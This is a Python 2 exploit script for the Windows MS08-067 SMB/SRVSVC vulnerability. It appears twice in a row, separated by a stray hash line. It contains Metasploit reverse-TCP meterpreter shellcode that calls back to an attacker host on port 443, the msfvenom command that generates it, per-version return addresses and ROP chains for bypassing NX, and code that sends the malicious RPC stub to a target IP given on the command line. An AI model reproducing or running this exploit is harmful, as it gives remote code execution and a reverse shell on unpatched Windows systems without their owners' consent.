#!/usr/bin/python
import struct
import time
import sys
 
 
from threading import Thread    #Thread is imported incase you would like to modify
 
 
try:
 
    from impacket import smb
 
    from impacket import uuid
 
    from impacket import dcerpc
 
    from impacket.dcerpc.v5 import transport
 
 
except ImportError, _:
 
    print 'Install the following library to make this script work'
 
    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
 
    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
 
    sys.exit(1)
 
 
print '#######################################################################'
 
print '#   MS08-067 Exploit'
 
print '#   This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
 
print '#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
 
print '#######################################################################\n'
 
 
#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;
#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included)
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.202 LPORT=443  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\xf3\xbe\x6e\x9c\x83\xee\xfc\xe2\xf4\x0f\x56"
shellcode += "\xec\x9c\xf3\xbe\x0e\x15\x16\x8f\xae\xf8\x78\xee\x5e"
shellcode += "\x17\xa1\xb2\xe5\xce\xe7\x35\x1c\xb4\xfc\x09\x24\xba"
shellcode += "\xc2\x41\xc2\xa0\x92\xc2\x6c\xb0\xd3\x7f\xa1\x91\xf2"
shellcode += "\x79\x8c\x6e\xa1\xe9\xe5\xce\xe3\x35\x24\xa0\x78\xf2"
shellcode += "\x7f\xe4\x10\xf6\x6f\x4d\xa2\x35\x37\xbc\xf2\x6d\xe5"
shellcode += "\xd5\xeb\x5d\x54\xd5\x78\x8a\xe5\x9d\x25\x8f\x91\x30"
shellcode += "\x32\x71\x63\x9d\x34\x86\x8e\xe9\x05\xbd\x13\x64\xc8"
shellcode += "\xc3\x4a\xe9\x17\xe6\xe5\xc4\xd7\xbf\xbd\xfa\x78\xb2"
shellcode += "\x25\x17\xab\xa2\x6f\x4f\x78\xba\xe5\x9d\x23\x37\x2a"
shellcode += "\xb8\xd7\xe5\x35\xfd\xaa\xe4\x3f\x63\x13\xe1\x31\xc6"
shellcode += "\x78\xac\x85\x11\xae\xd6\x5d\xae\xf3\xbe\x06\xeb\x80"
shellcode += "\x8c\x31\xc8\x9b\xf2\x19\xba\xf4\x41\xbb\x24\x63\xbf"
shellcode += "\x6e\x9c\xda\x7a\x3a\xcc\x9b\x97\xee\xf7\xf3\x41\xbb"
shellcode += "\xf6\xf6\xd6\x64\x97\xf3\x74\x06\x9e\xf3\xbf\xd5\x15"
shellcode += "\x15\xee\x3e\xcc\xa3\xfe\x3e\xdc\xa3\xd6\x84\x93\x2c"
shellcode += "\x5e\x91\x49\x64\xd4\x7e\xca\xa4\xd6\xf7\x39\x87\xdf"
shellcode += "\x91\x49\x76\x7e\x1a\x96\x0c\xf0\x66\xe9\x1f\x56\x0f"
shellcode += "\x9c\xf3\xbe\x04\x9c\x99\xba\x38\xcb\x9b\xbc\xb7\x54"
shellcode += "\xac\x41\xbb\x1f\x0b\xbe\x10\xaa\x78\x88\x04\xdc\x9b"
shellcode += "\xbe\x7e\x9c\xf3\xe8\x04\x9c\x9b\xe6\xca\xcf\x16\x41"
shellcode += "\xbb\x0f\xa0\xd4\x6e\xca\xa0\xe9\x06\x9e\x2a\x76\x31"
shellcode += "\x63\x26\x3d\x96\x9c\x8e\x9c\x36\xf4\xf3\xfe\x6e\x9c"
shellcode += "\x99\xbe\x3e\xf4\xf8\x91\x61\xac\x0c\x6b\x39\xf4\x86"
shellcode += "\xd0\x23\xfd\x0c\x6b\x30\xc2\x0c\xb2\x4a\x75\x82\x41"
shellcode += "\x91\x63\xf2\x7d\x47\x5a\x86\x79\xad\x27\x13\xa3\x44"
shellcode += "\x96\x9b\x18\xfb\x21\x6e\x41\xbb\xa0\xf5\xc2\x64\x1c"
shellcode += "\x08\x5e\x1b\x99\x48\xf9\x7d\xee\x9c\xd4\x6e\xcf\x0c"
shellcode += "\x6b\x6e\x9c"

 
nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10
disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"
ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
    gadget1="\x90\x5a\x59\xc3"
    gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]  
    gadget3="\xcc\x90\xeb\x5a" 
    ret=struct.pack('<L', 0x00018000)
    ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base)
    ret+=struct.pack('<L', 0x01040110)
    ret+=struct.pack('<L', 0x01010101)
    ret+=struct.pack('<L', 0x01010101)
    ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)
    ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
    ret+=gadget1
    ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base)
    ret+=struct.pack('<L', rvas['jmp eax']+module_base)
    ret+=gadget2[0]
    ret+=gadget2[1]
    ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)
    ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
    ret+=gadget2[2]
    ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base)
    ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base)
    ret+=struct.pack('<L', rvas['jmp eax']+module_base)
    ret+=gadget3    
    return ret
class SRVSVC_Exploit(Thread):
 
    def __init__(self, target, os, port=445):
 
        super(SRVSVC_Exploit, self).__init__()
 
        self.__port   = port
 
        self.target   = target
        self.os       = os
 
 
    def __DCEPacket(self):
        if (self.os=='1'):
            print 'Windows XP SP0/SP1 Universal\n'
            ret = "\x61\x13\x00\x01"
            jumper = nonxjmper % (ret, ret)
        elif (self.os=='2'):
            print 'Windows 2000 Universal\n'
            ret = "\xb0\x1c\x1f\x00"
            jumper = nonxjmper % (ret, ret)
        elif (self.os=='3'):
            print 'Windows 2003 SP0 Universal\n'
            ret = "\x9e\x12\x00\x01"  #0x01 00 12 9e
            jumper = nonxjmper % (ret, ret)
        elif (self.os=='4'):
            print 'Windows 2003 SP1 English\n'
            ret_dec = "\x8c\x56\x90\x7c"  #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
            ret_pop = "\xf4\x7c\xa2\x7c"  #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
            jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
            disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL
            jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
        elif (self.os=='5'):
            print 'Windows XP SP3 French (NX)\n'
            ret = "\x07\xf8\x5b\x59"  #0x59 5b f8 07 
            disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2 
            jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
        elif (self.os=='6'):
            print 'Windows XP SP3 English (NX)\n'
            ret = "\x07\xf8\x88\x6f"  #0x6f 88 f8 07 
            disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 
            jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
        elif (self.os=='7'):
            print 'Windows XP SP3 English (AlwaysOn NX)\n'
            rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}
            jumper = generate_rop(rvasets)+"AB"  #the nonxjmper also work in this case.
        else:
            print 'Not supported OS version\n'
            sys.exit(-1)
        print '[-]Initiating connection'
 
        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
 
        self.__trans.connect()
 
        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
 
        self.__dce = self.__trans.DCERPC_class(self.__trans)
 
        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
 
 
 
 
        path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"  + jumper + "\x00" * 2
 
        server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
        prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
 
        self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"
 
        return
 
 
 
    def run(self):
 
        self.__DCEPacket()
 
        self.__dce.call(0x1f, self.__stub) 
        time.sleep(5)
        print 'Exploit finish\n'
 
 
 
if __name__ == '__main__':
 
       try:
 
           target = sys.argv[1]
           os = sys.argv[2]
 
       except IndexError:
 
                print '\nUsage: %s <target ip>\n' % sys.argv[0]
 
                print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'
                print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n'
 
                sys.exit(-1)
 
 
 
current = SRVSVC_Exploit(target, os)
 
current.start()

53fe4c74584e4b6645bb20ec65ab20113d2dc0c1
#!/usr/bin/python
import struct
import time
import sys
 
 
from threading import Thread    #Thread is imported incase you would like to modify
 
 
try:
 
    from impacket import smb
 
    from impacket import uuid
 
    from impacket import dcerpc
 
    from impacket.dcerpc.v5 import transport
 
 
except ImportError, _:
 
    print 'Install the following library to make this script work'
 
    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
 
    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
 
    sys.exit(1)
 
 
print '#######################################################################'
 
print '#   MS08-067 Exploit'
 
print '#   This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
 
print '#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
 
print '#######################################################################\n'
 
 
#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;
#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included)
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.202 LPORT=443  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\xf3\xbe\x6e\x9c\x83\xee\xfc\xe2\xf4\x0f\x56"
shellcode += "\xec\x9c\xf3\xbe\x0e\x15\x16\x8f\xae\xf8\x78\xee\x5e"
shellcode += "\x17\xa1\xb2\xe5\xce\xe7\x35\x1c\xb4\xfc\x09\x24\xba"
shellcode += "\xc2\x41\xc2\xa0\x92\xc2\x6c\xb0\xd3\x7f\xa1\x91\xf2"
shellcode += "\x79\x8c\x6e\xa1\xe9\xe5\xce\xe3\x35\x24\xa0\x78\xf2"
shellcode += "\x7f\xe4\x10\xf6\x6f\x4d\xa2\x35\x37\xbc\xf2\x6d\xe5"
shellcode += "\xd5\xeb\x5d\x54\xd5\x78\x8a\xe5\x9d\x25\x8f\x91\x30"
shellcode += "\x32\x71\x63\x9d\x34\x86\x8e\xe9\x05\xbd\x13\x64\xc8"
shellcode += "\xc3\x4a\xe9\x17\xe6\xe5\xc4\xd7\xbf\xbd\xfa\x78\xb2"
shellcode += "\x25\x17\xab\xa2\x6f\x4f\x78\xba\xe5\x9d\x23\x37\x2a"
shellcode += "\xb8\xd7\xe5\x35\xfd\xaa\xe4\x3f\x63\x13\xe1\x31\xc6"
shellcode += "\x78\xac\x85\x11\xae\xd6\x5d\xae\xf3\xbe\x06\xeb\x80"
shellcode += "\x8c\x31\xc8\x9b\xf2\x19\xba\xf4\x41\xbb\x24\x63\xbf"
shellcode += "\x6e\x9c\xda\x7a\x3a\xcc\x9b\x97\xee\xf7\xf3\x41\xbb"
shellcode += "\xf6\xf6\xd6\x64\x97\xf3\x74\x06\x9e\xf3\xbf\xd5\x15"
shellcode += "\x15\xee\x3e\xcc\xa3\xfe\x3e\xdc\xa3\xd6\x84\x93\x2c"
shellcode += "\x5e\x91\x49\x64\xd4\x7e\xca\xa4\xd6\xf7\x39\x87\xdf"
shellcode += "\x91\x49\x76\x7e\x1a\x96\x0c\xf0\x66\xe9\x1f\x56\x0f"
shellcode += "\x9c\xf3\xbe\x04\x9c\x99\xba\x38\xcb\x9b\xbc\xb7\x54"
shellcode += "\xac\x41\xbb\x1f\x0b\xbe\x10\xaa\x78\x88\x04\xdc\x9b"
shellcode += "\xbe\x7e\x9c\xf3\xe8\x04\x9c\x9b\xe6\xca\xcf\x16\x41"
shellcode += "\xbb\x0f\xa0\xd4\x6e\xca\xa0\xe9\x06\x9e\x2a\x76\x31"
shellcode += "\x63\x26\x3d\x96\x9c\x8e\x9c\x36\xf4\xf3\xfe\x6e\x9c"
shellcode += "\x99\xbe\x3e\xf4\xf8\x91\x61\xac\x0c\x6b\x39\xf4\x86"
shellcode += "\xd0\x23\xfd\x0c\x6b\x30\xc2\x0c\xb2\x4a\x75\x82\x41"
shellcode += "\x91\x63\xf2\x7d\x47\x5a\x86\x79\xad\x27\x13\xa3\x44"
shellcode += "\x96\x9b\x18\xfb\x21\x6e\x41\xbb\xa0\xf5\xc2\x64\x1c"
shellcode += "\x08\x5e\x1b\x99\x48\xf9\x7d\xee\x9c\xd4\x6e\xcf\x0c"
shellcode += "\x6b\x6e\x9c"

 
nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10
disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"
ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
    gadget1="\x90\x5a\x59\xc3"
    gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]  
    gadget3="\xcc\x90\xeb\x5a" 
    ret=struct.pack('<L', 0x00018000)
    ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base)
    ret+=struct.pack('<L', 0x01040110)
    ret+=struct.pack('<L', 0x01010101)
    ret+=struct.pack('<L', 0x01010101)
    ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)
    ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
    ret+=gadget1
    ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base)
    ret+=struct.pack('<L', rvas['jmp eax']+module_base)
    ret+=gadget2[0]
    ret+=gadget2[1]
    ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)
    ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
    ret+=gadget2[2]
    ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base)
    ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base)
    ret+=struct.pack('<L', rvas['jmp eax']+module_base)
    ret+=gadget3    
    return ret
class SRVSVC_Exploit(Thread):
 
    def __init__(self, target, os, port=445):
 
        super(SRVSVC_Exploit, self).__init__()
 
        self.__port   = port
 
        self.target   = target
        self.os       = os
 
 
    def __DCEPacket(self):
        if (self.os=='1'):
            print 'Windows XP SP0/SP1 Universal\n'
            ret = "\x61\x13\x00\x01"
            jumper = nonxjmper % (ret, ret)
        elif (self.os=='2'):
            print 'Windows 2000 Universal\n'
            ret = "\xb0\x1c\x1f\x00"
            jumper = nonxjmper % (ret, ret)
        elif (self.os=='3'):
            print 'Windows 2003 SP0 Universal\n'
            ret = "\x9e\x12\x00\x01"  #0x01 00 12 9e
            jumper = nonxjmper % (ret, ret)
        elif (self.os=='4'):
            print 'Windows 2003 SP1 English\n'
            ret_dec = "\x8c\x56\x90\x7c"  #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
            ret_pop = "\xf4\x7c\xa2\x7c"  #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
            jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
            disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL
            jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
        elif (self.os=='5'):
            print 'Windows XP SP3 French (NX)\n'
            ret = "\x07\xf8\x5b\x59"  #0x59 5b f8 07 
            disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2 
            jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
        elif (self.os=='6'):
            print 'Windows XP SP3 English (NX)\n'
            ret = "\x07\xf8\x88\x6f"  #0x6f 88 f8 07 
            disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 
            jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
        elif (self.os=='7'):
            print 'Windows XP SP3 English (AlwaysOn NX)\n'
            rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}
            jumper = generate_rop(rvasets)+"AB"  #the nonxjmper also work in this case.
        else:
            print 'Not supported OS version\n'
            sys.exit(-1)
        print '[-]Initiating connection'
 
        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
 
        self.__trans.connect()
 
        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
 
        self.__dce = self.__trans.DCERPC_class(self.__trans)
 
        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
 
 
 
 
        path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"  + jumper + "\x00" * 2
 
        server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
        prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
 
        self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"
 
        return
 
 
 
    def run(self):
 
        self.__DCEPacket()
 
        self.__dce.call(0x1f, self.__stub) 
        time.sleep(5)
        print 'Exploit finish\n'
 
 
 
if __name__ == '__main__':
 
       try:
 
           target = sys.argv[1]
           os = sys.argv[2]
 
       except IndexError:
 
                print '\nUsage: %s <target ip>\n' % sys.argv[0]
 
                print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'
                print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n'
 
                sys.exit(-1)
 
 
 
current = SRVSVC_Exploit(target, os)
 
current.start()
